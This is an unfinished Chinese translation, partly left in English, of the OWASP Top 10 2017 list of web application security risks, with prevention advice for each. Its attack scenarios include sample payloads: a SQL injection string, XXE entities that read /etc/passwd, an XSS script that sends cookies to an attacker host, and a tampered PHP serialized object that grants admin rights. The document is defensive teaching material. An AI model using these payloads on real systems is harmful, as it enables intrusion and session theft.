OWASP 2017年应用安全风险-Top 10

OWASP Top 10 Application Security Risks – 2017

本文档仍在翻译中…

边翻译边学习,翻译完以后加上各种相关链接,部分个人觉得不太好翻译的内容保留英文原文

开放式 Web 应用安全项目, OWASP 风险评级:

评级角度 描述
Exploitability 漏洞是否容易使用
Weakness Prevalence 漏洞的流行程度
Weakness Detectability 漏洞是否容易被发现
Technical Impacts 漏洞的影响程度

A1:2017 注入

评级角度 星级
Exploitability *
Weakness Prevalence **
Weakness Detectability *
Technical Impacts *

不可信的数据被当作命令或查询的一部分发送到解释器而引发的注入漏洞,例如SQL, NoSQL, OS和LDAP注入。
攻击者的恶意数据可以欺骗解释器,使得其执行恶意代码或访问未授权的数据。

什么样的应用容易受到此类攻击

  • 应用没有对用户提供的数据进行验证,过滤和审查。
  • 在解释器中直接使用没有上下文相关转义(context- aware escaping)的动态查询或非参数化的调用。
  • 在ORM查询参数中使用外部数据来提取额外的敏感记录。
  • 直接使用或拼接外部数据,例如在动态查询,命令或存储过程中,SQL语句或命令同时包含结构(select)和外部数据(')。

注入漏洞常见于 SQL,NoSQL,系统命令,ORM,LDAP,表达式语言和 OGNL 。

各类解释器中都可能存在这种问题。检查一个应用是否容易受到注入攻击,最好的办法就是代码评审,紧接着是对所有参数,信息头,URL,cookie,JSON,SOAP,和 XML 数据输入做全面的自动测试.

团队可以把静态代码测试和动态应用测试工具加入到持续集成/持续部署的流水线中,在部署到生产环境之前检查是否存在注入漏洞。

如何避免

  • 使用更安全的 API ,避免使用解释器或是仅使用参数化接口,也可以选择使用 ORM 。
  • 服务端主动验证输入,或采取白名单机制,仅接受白名单内的字符。
  • 对剩下的动态查询中的特殊字符进行转义。注意:类似表名,列名的SQL结构是不能被转义的,因此由用户提供结构名是很危险的。
  • 在查询中使用 LIMIT 和其他 SQL 控制结构来避免 SQL 注入时数据库记录的大量泄漏。

攻击场景示例

场景 #1: 应用将不可信数据拼接到 SQL 语句中:

1
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

场景 #2: 类似的,此例中应用对框架盲目的信任导致该查询仍然容易受到攻击,(e.g. Hibernate Query Language (HQL)):

1
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

在以上两种场景中,攻击者都可以在他们的浏览器中修改id参数为 ' or '1'='1 . 例如:

1
http://example.com/app/accountView?id=' or '1'='1

这样修改之后,以上两种场景中,应用都会返回账户表中的所有记录。更危险的攻击可能会修改或删除数据,甚至调用存储过程。

A2:2017 破坏身份认证

评级角度 星级
Exploitability *
Weakness Prevalence **
Weakness Detectability **
Technical Impacts *

应用中涉及认证和会话管理的方法很少被正确地实现,这也使得攻击者有机会盗取口令,密码或凭证,又或是通过其他实现的漏洞来临时乃至永久冒充用户身份。

什么样的应用容易受到此类攻击

Confirmation of the user’s identity, authentication, and session management are critical to protect against authentication-related attacks.

如果应用包含以下特征,该应用中可能存在认证漏洞。

  • 允许使用自动化攻击,如攻击者使用一个包含有效的用户名和密码组合的列表进行认证信息批量填充攻击。
  • 允许使用暴力破解或其他自动化攻击手段。
  • 允许使用默认的,安全性弱的或是常见的密码,如Password1或是admin/admin
  • 使用安全性弱或是无效的认证信息找回和忘记密码流程,例如无法确保安全的”knowledge-based answers”。
  • 使用纯文本,加密或安全性弱的哈希密码(参考 A3:2017 敏感数据泄漏)。
  • 缺少或使用无效的多重认证。
  • 在URL中暴露会话ID(例如 URL重写)
  • 用户登录之后,会话ID没有改变(Does not rotate Session IDs after successful login)
  • 没有正确地把会话ID无效化。在用户登出或一段时间没有活动之后,用户会话或是认证令牌(尤其是单点登录的令牌)没有被正确地无效化。

如何避免

  • 尽可能采用多重认证,避免认证信息批量填充(credential stuffing),暴力破解和认证信息重用(stolen credential re-use)等自动化攻击手段。
  • 不要预置或部署带有默认认证信息的账户,尤其是针对管理员。
  • 实现弱密码检查,例如将新密码与排行前10000的弱密码列表进行比对。
  • Align password length, complexity and rotation policies with
    NIST 800-63 B’s guidelines in section 5.1.1 for Memorized Secrets or other modern, evidence based password policies.
  • 加固注册,认证信息找回和相关的API路径,对所有输出都返回统一的信息来防御账号枚举攻击。
  • 登录失败之后,限制或延迟接下来的登录尝试。记录所有失败的尝试,检测到信息批量填充,暴力破解或其他攻击时,警告管理员。
  • 在服务端使用每次登录后生成新的随机会话ID的会话管理器。URL中不应该出现会话ID,应当妥善保存并在用户登出之后注销会话ID,必须对会话ID加上超时限制。

攻击场景示例

Scenario #1: Credential stuffing, the use of lists of known passwords, is a common attack. If an application does not implement automated threat or credential stuffing protections, the application can be used as a password oracle to determine if the credentials are valid.

Scenario #2: Most authentication attacks occur due to the continued use of passwords as a sole factor. Once considered best practices, password rotation and complexity requirements are viewed as encouraging users to use, and reuse, weak passwords. Organizations are recommended to stop these practices per NIST 800-63 and use multi-factor authentication.

Scenario #3: Application session timeouts aren’t set properly. A user uses a public computer to access an application. Instead of selecting “logout” the user simply closes the browser tab and walks away. An attacker uses the same browser an hour later, and the user is still authenticated.

A3:2017 敏感数据泄漏

评级角度 星级
Exploitability **
Weakness Prevalence *
Weakness Detectability **
Technical Impacts *

许多网络应用和API都没有保护好敏感信息,例如金融,健康和个人验证信息(personally identifiable information, PII)。
攻击者可能会盗取或修改这些数据来实施信用卡诈骗,身份盗取和其他犯罪行为。
如果在和浏览器交换敏感数据之时或者之后没有加密等额外的保护,敏感数据很容易就会被盗取。

什么样的应用容易受到此类攻击

The first thing is to determine the protection needs of data in transit and at rest. For example, passwords, credit card numbers, health records, personal information and business secrets require extra protection, particularly if that data falls under privacy laws, e.g. EU’s General Data Protection Regulation (GDPR), or regulations, e.g. financial data protection such as PCI Data Security Standard (PCI DSS). For all such data:

  • Is any data transmitted in clear text? This concerns protocols
    such as HTTP, SMTP, and FTP. External internet traffic is especially dangerous. Verify all internal traffic e.g. between load balancers, web servers, or back-end systems.
  • Is sensitive data stored in clear text, including backups?
  • Are any old or weak cryptographic algorithms used either by default or in older code?
  • Are default crypto keys in use, weak crypto keys generated or re-used, or is proper key management or rotation missing?
  • Is encryption not enforced, e.g. are any user agent (browser) security directives or headers missing?
  • Does the user agent (e.g. app, mail client) not verify if the received server certificate is valid?

See ASVS Crypto (V7), Data Prot (V9) and SSL/TLS (V10)

如何避免

Do the following, at a minimum, and consult the references:

  • Classify data processed, stored, or transmitted by an application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs.
  • Apply controls as per the classification.
  • Don’t store sensitive data unnecessarily. Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data that is not retained cannot be stolen.
  • Make sure to encrypt all sensitive data at rest.
  • Ensure up-to-date and strong standard algorithms, protocols,
    and keys are in place; use proper key management.
  • Encrypt all data in transit with secure protocols such as TLS with perfect forward secrecy (PFS) ciphers, cipher prioritization by the server, and secure parameters. Enforce encryption using directives like HTTP Strict Transport Security (HSTS).
  • Disable caching for responses that contain sensitive data.
  • Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as Argon2, scrypt, bcrypt, or PBKDF2.
  • Verify independently the effectiveness of configuration and settings.

攻击场景示例

Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text.

Scenario #2: A site doesn’t use or enforce TLS for all pages or supports weak encryption. An attacker monitors network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user’s session cookie. The attacker then replays this cookie and hijacks the user’s (authenticated) session, accessing or modifying the user’s private data. Instead of the above they could alter all transported data, e.g. the recipient of a money transfer.

Scenario #3: The password database uses unsalted or simple hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password database. All the unsalted hashes can be exposed with a rainbow table of pre-calculated hashes. Hashes generated by simple or fast hash functions may be cracked by GPUs, even if they were salted.

A4:2017 XML外部实体漏洞(XML External Entities, XXE)

评级角度 星级
Exploitability **
Weakness Prevalence **
Weakness Detectability *
Technical Impacts *

许多旧的或是未配置正确的XML处理器会对XML文档中的外部实体引用进行求值。外部实体可以通过文件URL来访问内部文件,分享内部文件,扫描内部端口,执行远程代码以及执行拒绝服务攻击(denial of service, DOS)

什么样的应用容易受到此类攻击

Applications and in particular XML-based web services or downstream integrations might be vulnerable to attack if:

  • The application accepts XML directly or XML uploads, especially from untrusted sources, or inserts untrusted data into XML documents, which is then parsed by an XML processor.
  • Any of the XML processors in the application or SOAP based web services has document type definitions (DTDs) enabled. As the exact mechanism for disabling DTD processing varies by processor, it is good practice to consult a reference such as the OWASP Cheat Sheet ‘XXE Prevention’.
  • If your application uses SAML for identity processing within federated security or single sign on (SSO) purposes. SAML uses XML for identity assertions, and may be vulnerable.
  • If the application uses SOAP prior to version 1.2, it is likely susceptible to XXE attacks if XML entities are being passed to the SOAP framework.
  • Being vulnerable to XXE attacks likely means that the application is vulnerable to denial of service attacks including the Billion Laughs attack.

如何避免

Developer training is essential to identify and mitigate XXE.
Besides that, preventing XXE requires:

  • Whenever possible, use less complex data formats such as JSON, and avoiding serialization of sensitive data.
  • Patch or upgrade all XML processors and libraries in use by the application or on the underlying operating system. Use dependency checkers. Update SOAP to SOAP 1.2 or higher.
  • Disable XML external entity and DTD processing in all XML parsers in the application, as per the OWASP Cheat Sheet ‘XXE Prevention’.
  • Implement positive (“whitelisting”) server-side input validation, filtering, or sanitization to prevent hostile data within XML documents, headers, or nodes.
  • Verify that XML or XSL file upload functionality validates incoming XML using XSD validation or similar.
  • SAST tools can help detect XXE in source code, although manual code review is the best alternative in large, complex applications with many integrations.
    If these controls are not possible, consider using virtual patching, API security gateways, or Web Application Firewalls (WAFs) to detect, monitor, and block XXE attacks.

攻击场景示例

Numerous public XXE issues have been discovered, including attacking embedded devices. XXE occurs in a lot of unexpected places, including deeply nested dependencies. The easiest way is to upload a malicious XML file, if accepted:

Scenario #1: The attacker attempts to extract data from the server:

1
2
3
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

Scenario #2: An attacker probes the server’s private network by changing the above ENTITY line to:

1
2
3
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
Scenario #3: An attacker attempts a denial-of-service attack by including a potentially endless file:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>

A5:2017 访问控制失效

评级角度 星级
Exploitability **
Weakness Prevalence **
Weakness Detectability **
Technical Impacts *

对认证用户可以做什么事情的限制通常不是很强。攻击者可以利用这些漏洞来访问未授权的功能/数据,例如访问其他用户的账户,查看敏感文件,修改其他用户的数据和修改访问权限等。

什么样的应用容易受到此类攻击

Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification or destruction of all data, or performing a business function outside of the limits of the user. Common access control vulnerabilities include:

  • Bypassing access control checks by modifying the URL, internal application state, or the HTML page, or simply using a custom API attack tool.
  • Allowing the primary key to be changed to another users record, permitting viewing or editing someone else’s account.
  • Elevation of privilege. Acting as a user without being logged in, or acting as an admin when logged in as a user.
  • Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token or a cookie or hidden field manipulated to elevate privileges, or abusing JWT invalidation
  • CORS misconfiguration allows unauthorized API access.
  • Force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user. Accessing API with missing access controls for POST, PUT and DELETE.

如何避免

Access control is only effective if enforced in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata.

  • With the exception of public resources, deny by default.
  • Implement access control mechanisms once and re-use them throughout the application, including minimizing CORS usage.
  • Model access controls should enforce record ownership, rather than accepting that the user can create, read, update, or delete any record.
  • Unique application business limit requirements should be enforced by domain models.
  • Disable web server directory listing and ensure file metadata (e.g. .git) and backup files are not present within web roots.
  • Log access control failures, alert admins when appropriate (e.g. repeated failures).
  • Rate limit API and controller access to minimize the harm from automated attack tooling.
  • JWT tokens should be invalidated on the server after logout.
    Developers and QA staff should include functional access control unit and integration tests.

攻击场景示例

Scenario #1: The application uses unverified data in a SQL call that is accessing account information:

1
2
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );

An attacker simply modifies the ‘acct’ parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user’s account.

1
http://example.com/app/accountInfo?acct=notmyacct Scenario #2: An attacker simply force browses to target URLs.

Admin rights are required for access to the admin page.

1
2
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo

If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw.

A6:2017 安全配置不当

评级角度 星级
Exploitability *
Weakness Prevalence *
Weakness Detectability *
Technical Impacts **

最常见的问题是安全配置不当。通常是由不安全的默认配置,不完整或临时的配置,开放的云存储,错误配置的HTTP headers 以及 基本的错误信息中包含敏感信息引起的。只是安全地配置好所有操作系统,框架,库和应用是不够的,还需要及时更新它们。

什么样的应用容易受到此类攻击

The application might be vulnerable if the application is:

  • Missing appropriate security hardening across any part of the application stack, or improperly configured permissions on cloud services.
  • Unnecessary features are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges).
  • Default accounts and their passwords still enabled and unchanged.
  • Error handling reveals stack traces or other overly informative error messages to users.
  • For upgraded systems, latest security features are disabled or not configured securely.
  • The security settings in the application servers, application frameworks (e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values.
  • The server does not send security headers or directives or they are not set to secure values.
  • The software is out of date or vulnerable (see A9:2017-Using Components with Known Vulnerabilities).
    Without a concerted, repeatable application security configuration process, systems are at a higher risk.

如何避免

Secure installation processes should be implemented, including:

  • A repeatable hardening process that makes it fast and easy to
    deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically, with different credentials used in each environment. This process should be automated to minimize the effort required to setup a new secure environment.
  • A minimal platform without any unnecessary features, components, documentation, and samples. Remove or do not install unused features and frameworks.
  • A task to review and update the configurations appropriate to all security notes, updates and patches as part of the patch management process (see A9:2017-Using Components with Known Vulnerabilities). In particular, review cloud storage permissions (e.g. S3 bucket permissions).
  • A segmented application architecture that provides effective, secure separation between components or tenants, with segmentation, containerization, or cloud security groups.
  • Sending security directives to clients, e.g. Security Headers.
  • An automated process to verify the effectiveness of the configurations and settings in all environments.

攻击场景示例

Scenario #1: The application server comes with sample applications that are not removed from the production server. These sample applications have known security flaws attackers use to compromise the server. If one of these applications is the admin console, and default accounts weren’t changed the attacker logs in with default passwords and takes over.

Scenario #2: Directory listing is not disabled on the server. An attacker discovers they can simply list directories. The attacker finds and downloads the compiled Java classes, which they decompile and reverse engineer to view the code. The attacker then finds a serious access control flaw in the application.

Scenario #3: The application server’s configuration allows de- tailed error messages, e.g. stack traces, to be returned to users. This potentially exposes sensitive information or underlying flaws such as component versions that are known to be vulnerable.

Scenario #4: A cloud service provider has default sharing permissions open to the Internet by other CSP users. This allows sensitive data stored within cloud storage to be accessed.

A7:2017 跨站脚本(Cross-Site Scripting, XSS)

评级角度 星级
Exploitability *
Weakness Prevalence *
Weakness Detectability *
Technical Impacts **

如果应用使用不可信数据来创建新的网页却又没有进行适当的验证或转义,或是通过可以创建HTML/JavaScript的浏览器API将用户提供的数据更新到现有页面上,这个时候就可能出现XSS漏洞。攻击者可以借助XSS在受害者的浏览器中通过执行脚本来劫持用户会话,破坏网站或是将用户重定向到恶意网站。

什么样的应用容易受到此类攻击

There are three forms of XSS, usually targeting users’ browsers:

Reflected XSS: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker- controlled page, such as malicious watering hole websites, advertisements, or similar.

Stored XSS: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.

DOM XSS: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.

Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user’s browser such as malicious software downloads, key logging, and other client-side attacks.

如何避免

Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:

  • Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework’s XSS protection and appropriately handle the use cases which are not covered.
  • Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The OWASP Cheat Sheet ‘XSS Prevention’ has details on the required data escaping techniques.
  • Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet ‘DOM based XSS Prevention’.
  • Enabling a Content Security Policy (CSP) is a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).

攻击场景示例

Scenario 1: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

1
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

The attacker modifies the ‘CC’ parameter in the browser to:

1
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.

Note: Attackers can use XSS to defeat any automated Cross- Site Request Forgery ( CSRF) defense the application might employ.

A8:2017 不安全的反序列化

评级角度 星级
Exploitability *
Weakness Prevalence **
Weakness Detectability **
Technical Impacts *

不安全的反序列化通常会引出远程代码执行的问题。攻击者也可以通过这个反序列化的漏洞进行重放,注入和提权等攻击手段。

什么样的应用容易受到此类攻击

Applications and APIs will be vulnerable if they deserialize hostile or tampered objects supplied by an attacker.
This can result in two primary types of attacks:

  • Object and data structure related attacks where the attacker
    modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization.
  • Typical data tampering attacks, such as access-control-related attacks, where existing data structures are used but the content is changed.
    Serialization may be used in applications for:
  • Remote- and inter-process communication (RPC/IPC)
  • Wire protocols, web services, message brokers
  • Caching/Persistence
  • Databases, cache servers, file systems
  • HTTP cookies, HTML form parameters, API authentication tokens

如何避免

The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types.
If that is not possible, consider one of more of the following:

  • Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering.
  • Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.
  • Isolating and running code that deserializes in low privilege environments when possible.
  • Logging deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
  • Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
  • Monitoring deserialization, alerting if a user deserializes constantly.

攻击场景示例

Scenario #1: A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker notices the “R00” Java object signature, and uses the Java Serial Killer tool to gain remote code execution on the application server.

Scenario #2: A PHP forum uses PHP object serialization to save a “super” cookie, containing the user’s user ID, role, password hash, and other state:

1
2
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

An attacker changes the serialized object to give themselves admin privileges:

1
2
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

A9:2017 使用含有已知漏洞的组件

评级角度 星级
Exploitability **
Weakness Prevalence *
Weakness Detectability **
Technical Impacts **

像库,框架和其他软件模块这些组件,通常和应用拥有相同的运行权限。如果有一个易受攻击的组件中发现漏洞,例如攻击者可以通过漏洞造成严重的数据丢失或server takeover。使用这种包含已知漏洞的组件的应用和API也可能受到相关攻击威胁。

什么样的应用容易受到此类攻击

You are likely vulnerable:

  • If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies.
  • If software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.
  • If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.
  • If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities.
  • If software developers do not test the compatibility of updated, upgraded, or patched libraries.
  • If you do not secure the components’ configurations (see A6:2017-Security Misconfiguration).

如何避免

There should be a patch management process in place to:

  • Remove unused dependencies, unnecessary features, components, files, and documentation.
  • Continuously inventory the versions of both client-side and server-side components (e.g. frameworks, libraries) and their dependencies using tools like versions, DependencyCheck, retire.js, etc. Continuously monitor sources like CVE and NVD for vulnerabilities in the components. Use software composition analysis tools to automate the process. Subscribe to email alerts for security vulnerabilities related to components you use.
  • Only obtain components from official sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component.
  • Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If patching is not possible, consider deploying a virtual patch to monitor, detect, or protect against the discovered issue.
    Every organization must ensure that there is an ongoing plan for monitoring, triaging, and applying updates or configuration changes for the lifetime of the application or portfolio.

攻击场景示例

Scenario #1: Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g. coding error) or intentional (e.g. backdoor in component). Some example exploitable component vulnerabilities discovered are:

  • CVE-2017-5638, a Struts 2 remote code execution vulnerability that enables execution of arbitrary code on the server, has been blamed for significant breaches.
  • While internet of things (IoT) are frequently difficult or impossible to patch, the importance of patching them can be great (e.g. biomedical devices).

There are automated tools to help attackers find unpatched or misconfigured systems. For example, the Shodan IoT search engine can help you find devices that still suffer from
the Heartbleed vulnerability that was patched in April 2014.

A10:2017 日志和监管不足

评级角度 星级
Exploitability **
Weakness Prevalence *
Weakness Detectability *
Technical Impacts **

日志和监管不足,再加上缺少或者无效的应急处理流程,使得攻击者可以进一步攻击系统,保持更长时间的控制,攻破更多系统以及获取/破坏数据。大多数漏洞研究表明,漏洞一般是在200天之后被外部人员发现的,而不是内部流程或者监管。

什么样的应用容易受到此类攻击

Insufficient logging, detection, monitoring and active response
occurs any time:

  • Auditable events, such as logins, failed logins, and high-value transactions are not logged.
  • Warnings and errors generate no, inadequate, or unclear log messages.
  • Logs of applications and APIs are not monitored for suspicious activity.
  • Logs are only stored locally.
  • Appropriate alerting thresholds and response escalation processes are not in place or effective.
  • Penetration testing and scans by DAST tools (such as OWASP ZAP) do not trigger alerts.
  • The application is unable to detect, escalate, or alert for active attacks in real time or near real time.
    You are vulnerable to information leakage if you make logging and alerting events visible to a user or an attacker (see A3:2017- Sensitive Information Exposure).

如何避免

As per the risk of the data stored or processed by the
application:

  • Ensure all login, access control failures, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts, and held for sufficient time to allow delayed forensic analysis.
  • Ensure that logs are generated in a format that can be easily consumed by a centralized log management solutions.
  • Ensure high-value transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or similar.
  • Establish effective monitoring and alerting such that suspicious activities are detected and responded to in a timely fashion.
  • Establish or adopt an incident response and recovery plan, such as NIST 800-61 rev 2 or later.
    There are commercial and open source application protection frameworks such as OWASP AppSensor, web application firewalls such as ModSecurity with the OWASP ModSecurity Core Rule Set, and log correlation software with custom dashboards and alerting.

攻击场景示例

Scenario #1: An open source project forum software run by a small team was hacked using a flaw in its software. The attackers managed to wipe out the internal source code repository containing the next version, and all of the forum contents. Although source could be recovered, the lack of monitoring, logging or alerting led to a far worse breach. The forum software project is no longer active as a result of this issue.

Scenario #2: An attacker uses scans for users using a common password. They can take over all accounts using this password. For all other users, this scan leaves only one false login behind. After some days, this may be repeated with a different password.

Scenario #3: A major US retailer reportedly had an internal malware analysis sandbox analyzing attachments. The sandbox software had detected potentially unwanted software, but no one responded to this detection. The sandbox had been producing warnings for some time before the breach was detected due to fraudulent card transactions by an external bank.